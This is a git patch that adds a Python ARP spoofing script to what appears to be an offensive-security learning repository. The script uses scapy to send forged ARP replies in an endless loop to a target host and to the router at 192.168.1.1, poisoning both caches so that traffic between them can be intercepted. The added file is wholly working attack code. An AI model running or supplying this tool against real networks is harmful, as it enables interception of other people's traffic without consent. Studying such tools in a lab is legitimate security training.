From 371cd18bf0b3976dff6ad02686d4b8cc8530cea2 Mon Sep 17 00:00:00 2001
From: Manuel Vergara <manuel@vergaracarmona.es>
Date: Sun, 28 Jan 2024 22:35:39 +0100
Subject: [PATCH] Add arp spoof

---
 python-ofensivo/15_hacking/01_arp_spoofer.py | 63 ++++++++++++++++++++
 1 file changed, 63 insertions(+)
 create mode 100644 python-ofensivo/15_hacking/01_arp_spoofer.py

diff --git a/python-ofensivo/15_hacking/01_arp_spoofer.py b/python-ofensivo/15_hacking/01_arp_spoofer.py
new file mode 100644
index 0000000..22e5f5b
--- /dev/null
+++ b/python-ofensivo/15_hacking/01_arp_spoofer.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python3
+"""
+ARP Spoofer
+"""
+
+import argparse
+import signal
+import time
+import scapy.all as scapy
+
+
+def def_handler(sig, frame):
+
+    print("\n\n[!] Saliendo del programa...\n")
+    exit(1)
+
+
+signal.signal(signal.SIGINT, def_handler)
+
+
+def get_arguments():
+    """
+    Obtiene los argumentos de la línea de comandos
+    """
+
+    parser = argparse.ArgumentParser(description='ARP Spoofer')
+    parser.add_argument(
+        '-t', '--target',
+        required=True, dest='ip_address',
+        help='Host / IP range to spoof. ex: 192.168.1.1 or 192.168.1.0/24')
+
+    return parser.parse_args()
+
+
+def spoof(ip_address, spoof_ip):
+    """
+    Spoofea la dirección IP
+    """
+
+    # Construcción del paquete ARP
+    arp_packet = scapy.ARP(
+        op=2, pdst=ip_address, psrc=spoof_ip, hwdst="00:07:0e:11:22:33"
+    )
+    # Enviar el paquete
+    scapy.send(arp_packet, verbose=False)
+
+
+def main():
+    """
+    Función principal
+    """
+
+    arguments = get_arguments()
+
+    while True:
+        spoof(arguments.ip_address, "192.168.1.1")  # Mensaje al target
+        spoof("192.168.1.1", arguments.ip_address)  # Mensaje al router
+
+        time.sleep(2)
+
+
+if __name__ == "__main__":
+    main()